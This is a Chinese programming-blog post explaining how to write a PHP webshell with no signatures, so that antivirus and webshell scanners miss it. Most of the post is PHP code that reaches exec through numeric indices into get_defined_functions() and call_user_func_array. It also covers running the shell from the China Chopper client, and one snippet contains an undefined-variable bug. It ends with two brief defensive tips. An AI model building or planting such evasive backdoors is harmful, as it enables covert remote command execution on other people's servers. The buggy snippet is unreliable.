欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

PHP无特征webshell

程序员文章站 2022-05-27 15:45:26
...

PHP无特征webshell

  • webshell就是将php、asp代码以网页的形式,编写成命令、代码执行的环境,可用于作为网站后门。webshell形式可谓是千变万化,但是总会存在一些文件和代码特征,从而可能被杀毒软件查杀,但是我们如何能做到无文件、无特征,来规避杀毒软件的查杀和检测呢?

常见php代码种可执行命令函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()、
文件操作函数(file_put_contents()、fputs())、动态函数($a($b))

无特征webshell

原理:这里使用get_defined_functions函数遍历所有函数,然后将特定函数放在call_user_func_array函数中,来执行系统命令。

<?php
function testfunc(){
	$func = get_defined_functions();	//遍历所有函数,返回一个二维数组的函数(包括所有已定义的函数,内置的或者用户定义的函数)列表
	$args = func_get_args();	//接收传入的参数值
	$func_id = array_shift($args);	//获取传入的函数所代表的list的key
	$func_name = $func['internal'][$func_id];	//根据internal方法来访问系统内置函数,通过key来索引函数名
	$tmp = 0;
	//print_r($func);
	if($conf_name == "exec"){	//判断获取的函数
		print_r(call_user_func_array($func_name, $args)); //调用回调函数($func_name),并把一个数组参数(得是索引数组)作为回调函数的参数。
		$tmp = 1;
	}
	return $tmp;
}
for ($x=0; $x<=50000; $x++){
	$tmp = testfunc($x, "whoami");	//调用函数
	if($tmp == 1){	//退出
		break;
	}
}
?>

执行结果:

PHP无特征webshell

  • 通过上面代码原理分析,我们可以看到这里是通过get_defined_functions遍历函数,从而调用exec等命令执行或代码执行函数的。

编写无特征webshell

<?php
function f(){
	$f = get_defined_functions()['internal'];	//遍历所有函数,内置函数可以通过$arr['internal']进行访问
	$a = func_get_args();	//接收传来的参数
	$t = $f[797]($a);	//797===>array_shift
	$c = $f[$t];
	return $f[549]($c, $a);	//549===>call_user_func_array

}
print_r(f(456,'whoami'));	//456===>exec
?>

注意:

  • 这里的797、549、456,就表示通过list key,去索引函数名。

PHP无特征webshell
PHP无特征webshell

  • 执行结果(当前只是执行系统命令)

PHP无特征webshell

使用菜刀进行管理

  • 添加变量接收请求

PHP无特征webshell

  • 执行任意代码

PHP无特征webshell

  • 菜刀连接

PHP无特征webshell

防御方式:

  • 1.建议对网站使用WebShell扫描查杀工具进行查杀,例如D盾、WebShellkiller。
  • 2.对用户可控网站目录可读可写可执行权限进行严格限制。